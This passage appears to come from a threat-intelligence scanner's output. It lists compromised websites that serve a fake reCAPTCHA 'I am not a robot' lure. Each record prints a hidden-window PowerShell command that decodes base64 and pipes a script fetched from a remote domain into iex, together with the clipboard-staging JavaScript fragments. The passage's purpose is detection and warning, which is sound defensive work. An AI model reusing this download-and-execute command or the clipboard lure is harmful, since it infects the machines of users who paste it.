    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.lucprofessional.grupomoltz.com.br/",
  "Timestamp": "2025-04-17 21:40:06",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://thesignaturemag.salviatech.com/",
  "Timestamp": "2025-04-17 21:40:06",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.bratusferramentas.grupomoltz.com.br/",
  "Timestamp": "2025-04-17 21:40:07",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://website.mypetapp.co.za/",
  "Timestamp": "2025-04-17 21:40:08",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://ningbocrm.jintsume.net/",
  "Timestamp": "2025-04-17 21:40:08",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://horno-rafelet.es/",
  "Timestamp": "2025-04-17 21:40:09",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://mail.ningbocrm.com/",
  "Timestamp": "2025-04-17 21:40:09",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://mail.laborpartyjo.com/",
  "Timestamp": "2025-04-17 21:40:10",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.kevinzhangadmin.jintsume.net/",
  "Timestamp": "2025-04-17 21:40:10",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://bmdcompany.com/",
  "Timestamp": "2025-04-17 21:40:11",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://www.zamilgroups.com/",
  "Timestamp": "2025-04-17 21:40:11",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://lucprofessional.grupomoltz.com.br/",
  "Timestamp": "2025-04-17 21:40:11",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

